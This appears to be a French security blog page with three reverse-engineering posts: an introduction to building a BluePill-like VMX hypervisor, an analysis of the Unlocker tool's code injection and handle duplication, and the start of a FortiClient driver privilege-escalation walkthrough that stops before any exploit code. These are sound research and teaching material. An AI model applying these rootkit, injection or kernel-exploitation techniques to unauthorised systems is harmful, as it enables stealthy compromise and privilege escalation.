Posts filed under 'RE'

Hypervisor Abyss, part 1

J’ai décidé de me réveiller après avoir passé une soirée à me faire défoncer par Jean-Marie à propos d’un exploit quelque peu … défaillant. Je me rachète en commençant une série de post sur la virtualisation, sujet à la mode en ce moment. Je vous propose de découvrir comment coder votre propre petit hyperviseur, le but étant de comprendre comment fonctionne le support hardware au niveau de la virtualisation, de voir ses capacités et de les utiliser à plus ou moins bon escient. Je vais juste vous montrer comment réaliser un BluePill like sous architecture Intel en utilisant la feature VT sous 32 bits. Abyss has virtualized you !

Le concept de BluePill est simple, il consiste à utiliser le support VMX (Virtual Machine eXtensions) sous Intel ou bien SVM (Secure Virtual Machine) pour AMD pour virtualiser le système d’exploitation et ainsi ajouter une couche entre votre hardware et votre OS. Dans le cadre d’une virtualisation assistée par le processeur on parle d’une HVM (Hardware-assisted Virtual Machine), les constructeurs ont fournit ces jeux d’instructions afin de simplifier la vie des développeurs tout en améliorant les performances des produits de virtualisation.

D’abord quelques définitions, j’essaye de respecter les notations provenant des white-papers de VMWare : Un hyperviseur est un programme utilisant le support hardware pour gérer plusieurs VM (Virtual Machine) représentés par des VMM (Virtual Machine Monitor). Une VM s’exécute en mode non-root, un VMM en mode root, le HVM est, quant à lui, aussi en mode root. On peut parler aussi d’Host et de Guest, l’Host étant la machine hébergeant plusieurs Guest virtualisés.

Dans le cas présent nous avons affaire à une exception, en effet, l’Host et le Guest sont confondus. Cela veut dire que notre OS s’exécutera en mode non-root la majeure partie du temps, un passage en mode root sera requis pour gérer des cas précis, c’est à ce moment que nous pouvons contrôler son comportement. Ici l’HVM est confondu avec un VMM du fait qu’il n’existe qu’une seule VM qui est notre OS, un bel endomorphisme en tout cas :]

Le passage de l’hyperviseur à la VM s’appel VM Entry, l’inverse est nommé VM Exit. Le principe d’une machine virtuelle est là, la VM fonctionne de manière autonome sauf pour certaines opérations sensibles ou elle doit faire un VM exit pour laisser l’hyperviseur gérer la chose. L’HVM fait son boulot et rend la main à la VM avec un VM Entry, cela continue tant que l’hyperviseur décide de faire tourner la VM, s’il n’a pas crashé entre temps !

Pour commencer, il faut lire la doc, je dirais même plus, bouffer la doc ! C’est un travail assez long et fastidieux car le man Intel est super détaillé à ce sujet. On retrouve la documentation décrivant le VMX au chapitre 19 du « Intel 64 and IA-32 Architectures Software Developer’s Manual Volume 3B: System Programming Guide, Part 2« .

Dans ce premier post je vais vous montrer comment détecter si votre processeur supporte le VMX, voir si il est disponible, puis je vous montrerais comment l’initialiser.

Première étape donc : vérifier que le proco gère bien le VMX, chose simple, il suffit d’appeler l’instruction CPUID avec le registre EAX mit à 1. CPUID retourne dans ECX une structure du type :

//
// Used by the cpuid instruction when eax=1
//
typedef struct _VMX_FEATURES
{
unsigned SSE3        :1;        // SSE3 Extensions
unsigned RES1        :2;
unsigned MONITOR     :1;        // MONITOR/WAIT
unsigned DS_CPL      :1;        // CPL qualified Debug Store
unsigned VMX         :1;        // Virtual Machine Technology
unsigned RES2        :1;
unsigned EST         :1;        // Enhanced Intel© Speedstep Technology
unsigned TM2         :1;        // Thermal monitor 2
unsigned SSSE3       :1;        // SSSE3 extensions
unsigned CID         :1;        // L1 context ID
unsigned RES3        :2;
unsigned CX16        :1;        // CMPXCHG16B
unsigned xTPR        :1;        // Update control
unsigned PDCM        :1;        // Performance/Debug capability MSR
unsigned RES4        :2;
unsigned DCA         :1;
unsigned RES5        :13;
} VMX_FEATURES;

Le champ VMX (bit 5) nous indique donc si oui ou non notre CPU supporte le VMX.

Après, il se peut que le support VMX soit désactiver par votre BIOS pour le savoir il faut contrôler le MSR IA32_FEATURE_CONTROL (indice 0x3A) définit par :

typedef struct _IA32_FEATURE_CONTROL_MSR
{
unsigned Lock            :1;        // Bit 0 is the lock bit - cannot be modified once lock is set, controled by BIOS
unsigned VmxonInSmx      :1;
unsigned VmxonOutSmx     :1;
unsigned Reserved2       :29;
unsigned Reserved3       :32;
} IA32_FEATURE_CONTROL_MSR;

Le bit 0 (Lock Bit) est celui contrôler par le BIOS, le bit 1 définit si l’instruction VMXON est autorisée en mode non SMX tandis que le bit 2 définit si VMXON peut être lancée en mode SMX. Le SMX (Safer Mode eXtension) est apparu sur les processeurs Intel 64 bits et fournit un ensemble de fonctionnalité permettant d’établir un environnement protégé conçu par l’utilisateur basé sur le support VMX, il faudrait que je lise la doc pour comprendre de quoi il s’agit en détail.

VMXON est une instruction provenant du VMX, elle permet de mettre le CPU en mode « VMX Operation », l’instruction VMXON demande à ce qu’on lui fournisse un espace mémoire respectant certaines propriétés. Pour connaitre les besoins de VMXON il faut lire le MSR IA32_VMX_BASIC (0×480):

typedef struct _IA32_VMX_BASIC_MSR
{
unsigned RevId           :32;    // Bits 31..0 contain the VMCS and VMXON revision identifier
unsigned VMRegionSize    :12;    // Bits 43..32 report # of bytes for VMXON and VMCS regions
unsigned RegionClear     :1;        // Bit 44 set only if bits 32-43 are clear
unsigned Reserved1       :3;        // Undefined
unsigned PhyAddrWidth    :1;        // Physical address width for referencing VMXON, VMCS, etc.
unsigned DualMon         :1;        // Reports whether the processor supports dual-monitor
                                    // treatment of SMI and SMM
unsigned MemType         :4;        // Memory type that the processor uses to access the VMCS
unsigned VmExitReport    :1;        // Reports weather the procesor reports info in the VM-exit
                                    // instruction information field on VM exits due to execution
                                    // of the INS and OUTS instructions
unsigned Reserved2       :9;        // Undefined
} IA32_VMX_BASIC_MSR;

Des champs PhyAddrWidth et MemType de ce MSR on déduit le type et la taille de la mémoire à allouer pour VMXON. En général il suffit d’une page allouée en mémoire non caché. Heureusement le noyau nous fournit l’API MmAllocateNonCachedMemory pour allouer de la mémoire sans passer par les caches L1 ou L2.

A noter qu’il faut mettre dans les 4 premiers bytes de la VMXONRegion la valeur du RevID obtenu dans le MSR IA32_VMX_BASIC.

Avant de lancer VXMON il faut s’assurer que le bit 13 (VMXE) du registre de contrôle CR4 soit positionné à 1 sinon on aura un #UD (invalid-opcode exception, handlé par la routine KiTrap06) lorsque VMXON sera lancé. Une fois que le CPU est en mode VMX Operation il n’est plus possible de modifier ce bit. Je rappel que le rôle du CR4 est d’indiquer et de contrôler certaines extensions du CPU, il est définit par :

typedef struct _CR4_REG
{
unsigned VME        :1;            // Virtual Mode Extensions
unsigned PVI        :1;            // Protected-Mode Virtual Interrupts
unsigned TSD        :1;            // Time Stamp Disable
unsigned DE         :1;            // Debugging Extensions
unsigned PSE        :1;            // Page Size Extensions
unsigned PAE        :1;            // Physical Address Extension
unsigned MCE        :1;            // Machine-Check Enable
unsigned PGE        :1;            // Page Global Enable
unsigned PCE        :1;            // Performance-Monitoring Counter Enable
unsigned OSFXSR     :1;            // OS Support for FXSAVE/FXRSTOR
unsigned OSXMMEXCPT :1;            // OS Support for Unmasked SIMD Floating-Point Exceptions
unsigned Reserved1  :2;            //
unsigned VMXE       :1;            // Virtual Machine Extensions Enabled
unsigned Reserved2  :18;           //
} CR4_REG;

De plus, les bits 0 (PE) pour le mode protégé et 31 (PG) pour la pagination du CR0 doivent être à 1, c’est généralement déjà le cas à cause de notre OS, heureusement :=). Le PAE ne change rien dans l’activation de l’hyperviseur.

Enfin, pour lancer VMXON il faut lui donner un pointeur sur une zone de mémoire de 64 bits contenant l’adresse physique de la VMXONRegion. On fait simple en obtenant la PHYSICAL_ADDRESS de notre VMXONRegion avec MmGetPhysicalAddress puis on push sur la stack les 32 bits de poids fort d’abord puis les 32 bits de poid faible. On exécute un VMXON qword ptr [esp], on n’oublie pas de réaligner la stack et de checker le CF (bit 0) de l’EFLAGS, si il est à 1 c’est que VMXON a foiré. Hop nous avons initialisé le VMX sur le core ! \o/

La prochaine partie sera consacrée à l’initialisation de la VMCS, cette structure sert à définir l’état de l’Host et du Guest, la manière de gérer les interruptions et exceptions et plein d’autres choses.

Je fournirais le code entier de l’hyperviseur à la fin de cette série, je vous promet qu’il y aura des surprises dedans !
Get the Windows XP SP3 here !

ref :
http://ivanlef0u.fr/repo/index.php?path=./windoz/hvm

7 comments avril 29th, 2008

Unlocker

Un comment laissé sur mon blog récemment a attiré mon attention, j’ai donc décidé de répondre par mail à son auteur. Après plusieurs échanges j’ai décidé de compiler mes découvertes et de vous en faire profiter.

Yo Regis, j’ai vu votre comment et j’ai décidé de regarder d’un peu plus près le tool unlocker afin de comprendre son fonctionnement. Je l’ai donc installé en VM et analysé principalement avec IDA et ollydbg. J’étais vraiment curieux alors j’ai poussé mes investigations un peu loin, à vous de juger, en tout cas unlocker n’a plus beaucoup de secrets pour moi à présent, modulo les erreurs que j’ai pu faire bien sur. Voici ce que j’ai compris de son fonctionnement, attention prenez votre respiration, c’est partit !

Les fichiers exécutables sont mit dans « C:\Program Files\Unlocker », on y trouve :

Unlocker.exe
UnlockerAssistant.exe
UnlockerCOM.dll
UnlockerHook.dll
UnlockerDriver5.sys

Alors après une petite analyse j’ai établit les dépendances :

Unlocker.exe -> UnlockerDriver5.sys
UnlockerAssistant.exe -> UnlockerHook.dll

UnlockerCOM.dll est chargé dans explorer.exe avec les shellextension utilisant les clés :
{DDE4BEEB-DDE6-48fd-8EB5-035C09923F83}
Software\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved
folder\\shellex\\ContextMenuHandlers\\UnlockerShellExtension
AllFileSystemObjects\\shellex\\ContextMenuHandlers\\UnlockerShellExtension
software\\classes\\clsid\\UnlockerShellExtension

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DDE4BEEB-DDE6-48fd-8EB5-035C09923F83} contient par exemple
defaut : C:\Program Files\Unlocker\UnlockerCOM.dll
ThreadindModel : Apartment

Ces clés sont mises en place lors de l’installation.

Pour plus d’infos sur les extensions shell voir : Adding Explorer Bars
et la prog COM : Step by Step COM Tutorial

Ok, ca c’est pour le shell, qui est en fait juste une interface pour lancer le Unlocker.exe.

Sinon j’ai remarqué que UnlockerHook.dll au moment d’être chargé par UnlockerAssistant.exe va installer des hooks de messages de type WH_CBT (création de fenêtres..) avec l’api SetWindowsHookEx. Quand elle est injecté dans un nouveau process elle va mettre un inline hook sur la fonction SHFileOperationW mais uniquement lorsque quelle se retrouve injecté dans explorer.exe. Je n’ai pas trop bien compris a quoi servait le hook surtout que les valeurs de retour de la fonction ne sont pas documentées, je pense que le développeur a dur étudier le comportement de la fonction et comprendre par lui même la signification de certaines valeurs de retour. De toute façon ce n’est pas là qu’est le coeur du fonctionnement du soft. Avec plus de recherches il y a moyen de comprendre pourquoi il hook cette fonction imo.

Bon, en fait le problème c’est les handles qui sont dit « locker » mais qu’est ce que cela veut dire ? Si on regarde le prototype de CreateFile on a :

HANDLE WINAPI CreateFile(
__in LPCTSTR lpFileName,
__in DWORD dwDesiredAccess,
__in DWORD dwShareMode,
__in LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__in DWORD dwCreationDisposition,
__in DWORD dwFlagsAndAttributes,
__in HANDLE hTemplateFile
);

Le param dwShareMode correspond à la façon dont le handle pourra être partagé entre les processus. Dans le cas ou celui ci vaut 0, le handle ne pourra pas être ouvert par un autre process tant qu’il ne sera pas fermé par CloseHandle par le process qui l’a ouvert en premier. C’est le kernel qui effectue c’est vérification et qui renvoie une erreur au subsytem disant « Le fichier est utiliser par une autre application blablaba… »

Le programme principal se situe donc dans Unlocker.exe, lorsqu’on veut « unlocker » un fichier son path est passé en argument au programme qui va ensuite procéder de 2 façons :

- Dans le cas ou le fichier est une DLL, le tool va crée un utiliser CreateToolhelp32Snapshot pour avoir une « photo » de tous les process lancés (option TH32CS_SNAPPROCESS) puis énumérer les dll chargées dans chacun en faisant aussi un snapshot mais cette fois avec l’option TH32CS_SNAPMODULE. A partir de cette liste il va chercher dans chacun des process le nom des modules puis voir s’il trouve la DLL concernée. Si oui alors il injecte un code dans le process avec le triplet VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. Le code injecté va donc se retrouver dans le process qui a chargé la DLL puis va utiliser GetModuleHandle pour obtenir un handle dessus et FreeLibrary pour la décharger du processus.

Remarquez que je trouve un peu con de faire comme ca car le handle sur la DLL est en fait son ImageBase, qu’on peut très bien obtenir depuis le snapshot, il suffirait donc d’injecter un thread pointant sur FreeLibrary avec en argument l’ImageBase de la DLL pour la décharger.

- Dans le cas d’un fichier « normal », le tool procède d’une manière différente. Pour pouvoir unlocker le fichier, il doit fermer le handle qui est ouvert par un processus X. Cette fois ci il s’agit d’un « vrai » handle, c’est à dire qu’il fait référence à un objet noyau contrairement à un handle sur une DLL qui n’est juste qu’une adresse sur le PE header de celle ci en mémoire. Bref, l’idée consiste donc à énumérer les handles de chaque process, de la scanner afin de trouver le ou les process qui ont ouvert le handle sur ce fichier. Le problème c’est que sous Windows, on ne peut simplement obtenir la liste des handles d’un process, il faut en fait les récupérer dans la liste de TOUS les handles ouvert par le système. Dans le cas de unlocker celui-ci utilise l’API ZwQuerySystemInformation avec l’InformationClass SystemHandleInformation, cette fonction nous renvoie une liste de structures SYSTEM_HANDLE_INFORMATION qui sont de la forme :

typedef struct _SYSTEM_HANDLE_INFORMATION { // Information Class 16
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags; // 0×01 = PROTECT_FROM_CLOSE, 0×02 = INHERIT
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
}

Unlocker va utiliser 3 champs de cette structure :

- ProcessId, le PID du process qui à ouvert le handle
- Handle, la valeur du handle dans le context du process qui l’a ouvert (n’oubliez pas, un handle est spécifique uniquement dans le contexte du process qui l’a ouvert !)
- Object, l’adresse dans le kernel de l’objet, pour un fichier c’est un pointeur sur une structure FILE_OBJECT par exemple.

Unlock va d’abord ouvrir un handle sur le process à partir de son PID avec les flags VM_READ|DUP_HANDLE|QUERY_INFORMATION puis utiliser l’api DuplicateHandle, cette api permet comme son nom l’indique de copier un handle dans le contexte d’un autre, c’est très pratique, en effet unlocker va copier le handle dans son contexte afin de pouvoir le manipuler et obtenir des infos dessus, DuplicateHandle est appelé avec les params suivant (extrait de ollydbg) :
00126F94 00000050 |hSourceProcess = 00000050 (window) <-PID du process visé
00126F98 000000C8 |hSource = 000000C8 (window) <- valeur du handle
00126F9C FFFFFFFF |hTargetProcess = FFFFFFFF <- handle de notre process,
00126FA0 0012B654 |phTarget = 0012B654 <- pointeur sur le futur handle
00126FA4 00000000 |Access = 0
00126FA8 00000000 |Inheritable = FALSE
00126FAC 00000000 \Options = 0

Windows autorise le fait de dupliquer le handle, cela veut dire que si on duplique le handle d’un fichier ouvert avec dwShareMode à 0 dans notre process, on se retrouve avec les même accès que le process maître sur le fichier. C’est assez particulier comme fonctionnement je l’avoue mais Windows l’autorise donc c’est cool. En gros, si je duplique un handle « locker » de fichier dans mon process, je peux très bien par la suite lire et écrire dedans comme si j’étais le process original (dépends des droits mit dans dwDesiredAccess au départ).

Une fois que le handle est « copié » dans le contexte de unlocker.exe, le tool va enfin utilise son driver. Après analyse sous IDA il apparait que le driver va servir à retrouver le nom de l’objet référencé dans le kernel. En effet, unlocker va communiquer avec le driver à travers les api WriteFile et ReadFile. La première api sert à envoyer au driver une structure contenant le handle visé et le pointeur sur l’objet kernel, cette structure à donc de la forme de :

typedef struct _RequestObjectName
{
HANDLE Handle;
PVOID Object;
}RequestObjectName, * PRequestObjectName;

Quand le driver reçoit cette structure il va attendre l’appel de l’api ReadFile pour utiliser l’api kernel, ObReferenceObjectByHandle sur le paramètre Handle de la structure RequestObjectName pour retrouver le pointeur sur l’objet dans le kernel. Il le compare ensuite avec le champ Object de la structure pour être sur que unlocker à demander d’analyser cet objet précis puis appel la fonction ObQueryNameString pour obtenir le nom de l’objet qui sera recopier dans un buffer user-land sous forme de structure UNICODE_STRING.

De retour dans unlocker, le code continue d’énumérer ainsi les process ayant ouvert un handle sur le fichier concerné et les énumère dans la listbox.

Quand on demande d’unlocker un fichier, le tool va injecter un thread dans le process visé qui va utiliser le même code que celui qui sert à décharger la une DLL. En fait ce code est assez marrant, il fonctionne de cette façon :

Le code injecté se retrouve soit avec le path de la dll à décharger soit avec la valeur du handle dans le contexte du process visé. Il utilise uniquement 3 fonctions, GetModuleHandle, FreeLibrary et CloseHandle. Il commence par récup un handle sur la DLL avec GetModuleHandle puis entre dans une boucle de 16 itérations, qui va appeler FreeLibray et CloseHandle. Si le développeur à choisit d’utiliser une boucle c’est parce que chaque DLL possède un compteur référençant le nombre de chargements effectués avec LoadLibrary, en faisant une boucle, le tool va décrémenter le compteur (à travers FreeLibrary) référençant le nombre d’appel de LoadLibray sur cette DLL, quand ce compteur atteint 0, FreeLibray décharger la DLL. Dans le cas d’un simple handle, le GetModuleHandle va foirer (son retour n’est pas checké), ce n’est pas grave, le CloseHandle va le fermer ensuite et quitter la boucle.

Voici le code vu sous IDA :

; =============== S U B R O U T I N E =======================================
.text:004105B1
; Attributes: bp-based frame

sub_4105B1 proc near                    ; DATA XREF: sub_41178F+163 o
                                        ; sub_41178F+186 o
compteur= dword ptr -4
remoteinfos= dword ptr  8

	push ebp      ; remotesinfos struct :
                  ; +0 @FreLibrary
                  ; +4 @GetModuleHandle
                  ; +8 @CloseHandle
                  ; +C handle/full dll path
	mov ebp, esp
	push ecx
	and [ebp+compteur], 0
	push ebx
	push esi
	mov esi, [ebp+remoteinfos]
	push edi
	lea ebx, [esi+0Ch]
	push ebx
	call dword ptr [esi+4]              ; GetModuleHandle
	jmp short loc_4105DC

.text:004105C8                         loc_4105C8:                             ; CODE XREF: sub_4105B1+2F j
	cmp [ebp+compteur], 16
	jge short loc_4105E2
	push edi
	call dword ptr [esi]                ; FreeLibrary
	push edi
	call dword ptr [esi+8]              ; CloseHandle
	push ebx
	call dword ptr [esi+4]              ; GetModuleHandle
	inc [ebp+compteur]

loc_4105DC:                             ; CODE XREF: sub_4105B1+15 j
	mov edi, eax
	test edi, edi
	jnz short loc_4105C8

loc_4105E2:                             ; CODE XREF: sub_4105B1+1B j
	pop edi
	pop esi
	xor eax, eax
	pop ebx
	leave
	retn 4
sub_4105B1 endp

Cependant DuplicateHandle nous fournit une option intéressante, DUPLICATE_CLOSE_SOURCE, qui comme son nom l’indique permet de fermer le handle directement à la source. L’auteur lui à choisit une autre méthode pour fermer le handle, il injecte un petit code dans le process qui l’a ouvert, pourquoi pas …

Le plus simple que je te conseil est de directement crée un thread avec CreateRemoteThread sur la fonction CloseHandle dans le process visé, en mettant en paramètre de ce thread la valeur du handle à fermer, cela devrait fonctionner à merveille.

Remarquez que pour copier un fichier unlocker va aussi injecter un shellcode qui va directement crée la copie depuis le process ayant ouvert le handle sur le fichier, pour s’en rendre compte il suffit de voir quelles APIs il fournit au shellcode injecté :

push    offset aCreatefilew ; "CreateFileW"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_818], eax
call    esi ; GetProcAddress
push    offset aSetfilepointer ; "SetFilePointer"
push    [ebp+hModule]   ; hModule
mov     [ebp+Buffer], eax
call    esi ; GetProcAddress
push    offset aReadfile ; "ReadFile"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_840], eax
call    esi ; GetProcAddress
push    offset aWritefile ; "WriteFile"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_83C], eax
call    esi ; GetProcAddress
push    offset aClosehandle ; "CloseHandle"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_838], eax
call    esi ; GetProcAddress
push    offset aGlobalalloc ; "GlobalAlloc"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_834], eax
call    esi ; GetProcAddress
push    offset aGlobalfree ; "GlobalFree"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_830], eax
call    esi ; GetProcAddress
push    offset aGetfilesize ; "GetFileSize"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_82C], eax
call    esi ; GetProcAddress
push    offset aSleep   ; "Sleep"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_828], eax
call    esi ; GetProcAddress
push    offset aGetoverlappedr ; "GetOverlappedResult"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_824], eax
call    esi ; GetProcAddress
push    offset aGetlasterror ; "GetLastError"

Je vous laisse imaginer son fonctionnement ….

Pareil pour la copie je pense qu’il suffit juste de faire un DuplicateHandle sur le fichier puis de recopier son contenu depuis notre process.

Pour les actions de renommer et déplacer, unlocker va simplement fermer le handle puis renommer ou déplacer le fichier après.

Bon alors qu’est ce que j’en pense de tout ca, je pense que pour décharger un DLL, unlocker fait bien le boulot, c’est la méthode la plus simple. Par contre dans le cas d’un fichier, l’utilisation d’un driver un peu lourde, il est possible de faire beaucoup plus simple, en effet pour obtenir le nom de l’objet référencé par un handle après l’avoir dupliqué il suffit d’utiliser l’API ZwQueryObject de prototype :

NTSTATUS NtQueryObject(
__in_opt HANDLE Handle,
__in OBJECT_INFORMATION_CLASS ObjectInformationClass,
__out_opt PVOID ObjectInformation,
__in ULONG ObjectInformationLength,
__out_opt PULONG ReturnLength

Il faut l’utiliser avec ObjectInformationClass ObjectTypeInformation et ObjectNameInformation pour obtenir le type et le nom de l’objet référencé par le handle. Cela est très pratique car c’est un syscall Windows et cela évite de coder un driver exprès. J’en veux pour preuve un post que j’ai rédigé il y a déjà quelques temps Playing With Windows Handles et celui de mon padawan Close a remote handle file. Je pense qu’avec ces codes vous avez tout en main pour réaliser un programme mieux que unlocker ;)

J’ai aussi remarqué une chose intéressant, le tool utilise le device LanmanRedirector pour retrouver les fichiers ouverts par les utilisateurs distant, j’ai découvert ca d’abord sous IDA puis après avoir googlé je suis tombé sur cet article, je n’ai malheureusement pas trouvé de code mettant en place ce processus mais avec une analyse plus profonde de unlocker je pense qu’il n’est pas très difficile de recoder cela.

Ouf, j’espère ne pas trop vous avoir soulé avec mes explications, en tout cas j’ai passé un peu de temps à reverser ce tool, ca m’a fait plaisir. Voilà, vous voyez le reverse c’est cool, mangez en :)

15 comments mars 2nd, 2008

Fortinet FortiClient Local Privilege Escalation

Récemment on m’a demandé de jeter un oeil pour exploiter une vuln dans un driver paru il n’y a pas longtemps. Comme je me faisais un peu chier ces temps-ci (comme tout bon étudiant en fait :]), d’ailleurs je me fais tellement chier que je le lis le blog de nono mais ca c’est un autre problème. Anyway, la vuln a été révélé le 13 Février et patchée depuis, pas grave, il y a toujours du challenge, l’adviso publié par Ruben Santamarta concernait un driver du HIPS Forticlient. Je vous propose donc dans ce post de voir et de comprendre d’ou vient la vuln puis de l’exploiter, woOot wOot!

Ce qui est cool c’est que l’adviso nous donne suffisamment d’info pour savoir ou chercher, extrait :

3. Fortinet FortiClient Local Privilege Escalation.

Fortinet Endpoint Solution For Enterprise, FortiClient is prone to a local privilege escalation due to the improper device filtering carried out by its filter driver, fortimon.sys .

The driver affected filters certain devices, enabling pass-through filtering. However, its own Device’s DeviceExtension is not correclty initialized so any logged user could force the kernel to operate with user-mode controlled memory just by direclty issuing a special request to the driver’s device.

This leads to local arbitrary code execution in the context of the kernel. Even Guest users can elevate privileges to SYSTEM.

On connait le nom du driver vulnérable, fortimon.sys, qu’il est de type file system filter driver et que une des structures appelée DeviceExtension est mal initialisée ce qui peut permettre une exploitation depuis l’user-land. Un file system filter driver est un module qui va surveiller les requètes (IRP) envoyées aux drivers filesytem, aussi bien le NTFS que le CDFS, il peut servir par exemple à controler l’ouverture des fichiers, ce genre de drivers est souvent utilisé par les soft d’anti-virus pour faire leurs contrôles.

Ok c’est partit, on choppe une version vuln du soft, ici par exemple et on commence à l’installer. Après installation on voit que ce soft est une usine a gaz avec des trucs dans tous les sens qui clignotent en vert et jaune et qui fait « ouinz ouinz, h4ck3rZ 4re st34l1nG y0ur m3g4hUrTz !!11″ toutes les 2 secondes. Bref c’est juste bon à tester en VM.

Alors, on commence à disass le drv fortimon.sys puis on lance le HIPS en VM. Sous Winobj on voit un device \device\fortimon, hop regardons de quel driver il provient.

kd> !devobj \device\fortimon
Device object (80f047d8) is for:
 FortiMon*** ERROR: Module load completed but symbols could not be loaded for fortimon.sys
 \FileSystem\FAFileMon DriverObject 80f04948
Current Irp 00000000 RefCount 3 Type 00000022 Flags 00000040
Dacl e129a6c4 DevExt 80f04890 DevObjExt 80f048d8
ExtensionFlags (0000000000)
Device queue is not busy.

kd> !drvobj \FileSystem\FAFileMon
Driver object (80f04948) is for:
 \FileSystem\FAFileMon
Driver Extension List: (id , addr)

Device Object list:
ff8ca768  ffbbed10  ff877aa8  80e85678
ffa59a80  80dc0ed0  80dc7760  80dc79f8
80eb3110  80edab88  80f03ba0  80f047d8

kd> !drvobj \FileSystem\FAFileMon 3
Driver object (80f04948) is for:
 \FileSystem\FAFileMon
Driver Extension List: (id , addr)

Device Object list:
ff8ca768  ffbbed10  ff877aa8  80e85678
ffa59a80  80dc0ed0  80dc7760  80dc79f8
80eb3110  80edab88  80f03ba0  80f047d8

DriverEntry:   fa9f6bdc	fortimon
DriverStartIo: 00000000
DriverUnload:  00000000
AddDevice:     00000000	

Dispatch routines:
[00] IRP_MJ_CREATE                      fa9f5aac	fortimon+0xaac
[01] IRP_MJ_CREATE_NAMED_PIPE           fa9f5764	fortimon+0x764
[02] IRP_MJ_CLOSE                       fa9f642c	fortimon+0x142c
[03] IRP_MJ_READ                        fa9f5764	fortimon+0x764
[04] IRP_MJ_WRITE                       fa9f6654	fortimon+0x1654
[05] IRP_MJ_QUERY_INFORMATION           fa9f5764	fortimon+0x764
[06] IRP_MJ_SET_INFORMATION             fa9f5aac	fortimon+0xaac
[07] IRP_MJ_QUERY_EA                    fa9f5764	fortimon+0x764
[08] IRP_MJ_SET_EA                      fa9f5764	fortimon+0x764
[09] IRP_MJ_FLUSH_BUFFERS               fa9f5764	fortimon+0x764
[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    fa9f5764	fortimon+0x764
[0b] IRP_MJ_SET_VOLUME_INFORMATION      fa9f5764	fortimon+0x764
[0c] IRP_MJ_DIRECTORY_CONTROL           fa9f5764	fortimon+0x764
[0d] IRP_MJ_FILE_SYSTEM_CONTROL         fa9f5782	fortimon+0x782
[0e] IRP_MJ_DEVICE_CONTROL              fa9f5764	fortimon+0x764
[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     fa9f5764	fortimon+0x764
[10] IRP_MJ_SHUTDOWN                    fa9f5764	fortimon+0x764
[11] IRP_MJ_LOCK_CONTROL                fa9f5764	fortimon+0x764
[12] IRP_MJ_CLEANUP                     fa9f6606	fortimon+0x1606
[13] IRP_MJ_CREATE_MAILSLOT             fa9f5764	fortimon+0x764
[14] IRP_MJ_QUERY_SECURITY              fa9f5764	fortimon+0x764
[15] IRP_MJ_SET_SECURITY                fa9f5764	fortimon+0x764
[16] IRP_MJ_POWER                       fa9f5764	fortimon+0x764
[17] IRP_MJ_SYSTEM_CONTROL              fa9f5764	fortimon+0x764
[18] IRP_MJ_DEVICE_CHANGE               fa9f5764	fortimon+0x764
[19] IRP_MJ_QUERY_QUOTA                 fa9f5764	fortimon+0x764
[1a] IRP_MJ_SET_QUOTA                   fa9f5764	fortimon+0x764
[1b] IRP_MJ_PNP                         fa9f5764	fortimon+0x764

Fast I/O routines:
FastIoCheckIfPossible                   fa9f6d7a	fortimon+0x1d7a
FastIoRead                              fa9f6dbe	fortimon+0x1dbe
FastIoWrite                             fa9f6e02	fortimon+0x1e02
FastIoQueryBasicInfo                    fa9f6e6c	fortimon+0x1e6c
FastIoQueryStandardInfo                 fa9f6ea6	fortimon+0x1ea6
FastIoLock                              fa9f6ee0	fortimon+0x1ee0
FastIoUnlockSingle                      fa9f6f26	fortimon+0x1f26
FastIoUnlockAll                         fa9f6f66	fortimon+0x1f66
FastIoUnlockAllByKey                    fa9f6f9e	fortimon+0x1f9e
FastIoDeviceControl                     fa9f714c	fortimon+0x214c
FastIoDetachDevice                      fa9f74e6	fortimon+0x24e6
FastIoQueryNetworkOpenInfo              fa9f7558	fortimon+0x2558
MdlRead                                 fa9f7592	fortimon+0x2592
MdlReadComplete                         fa9f75d2	fortimon+0x25d2
PrepareMdlWrite                         fa9f7606	fortimon+0x2606
MdlWriteComplete                        fa9f7666	fortimon+0x2666
FastIoReadCompressed                    fa9f76bc	fortimon+0x26bc
FastIoWriteCompressed                   fa9f7706	fortimon+0x2706
MdlReadCompleteCompressed               fa9f776e	fortimon+0x276e
MdlWriteCompleteCompressed              fa9f77a0	fortimon+0x27a0
FastIoQueryOpen                         fa9f77f6	fortimon+0x27f6

Okai, le driver s’appel \FileSystem\FAFileMon, il possède 12 devices sur ma box. Il gère les MajorsFunctions de type :
IRP_MJ_CREATE
IRP_MJ_CLOSE
IRP_MJ_WRITE
IRP_MJ_SET_INFORMATION
IRP_MJ_FILE_SYSTEM_CONTROL
IRP_MJ_CLEANUP
La routine des autres MajorFunctions en 0xfa9f5764, sert juste à dispacher les IRP aux devices en dessous. Remarquez l’ensemble des routines de type Fast I/O qui sert lors d’appels synchrones.

En fait le driver va utiliser l’API IoRegisterFsRegistrationChange pour enregistrer une fonction de callback qui va servir à attacher un device sur sa device stack afin de filtrer ses IRP. C’est pour cela qu’il y a autant de devices, ils sont attachés à tous les devices gérant des systèmes de fichiers.

Maintenant regardons sous IDA l’initialisation du premier device, celui qui permet une communication avec l’user-land et qui doit d’être nommé. Ici il s’appel \\.\FortiMon. Ce genre de device est de type CDO (Control Device Object) contrairement aux autres devices unamed ici qui sont des FiDO (Filter Device Object) le CDO à pour rôle de recevoir des ordres depuis le user-land sous forme d’IOCTL.

; int __stdcall sub_104CE(PDRIVER_OBJECT DriverObject)
sub_104CE proc near

SymbolicLinkName= UNICODE_STRING ptr -14h
DestinationString= UNICODE_STRING ptr -0Ch
DeviceObject= dword ptr -4
DriverObject= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 14h
push    esi
mov     esi, ds:RtlInitUnicodeString
push    offset SourceString ; "\\Device\\FortiMon"
lea     eax, [ebp+DestinationString]
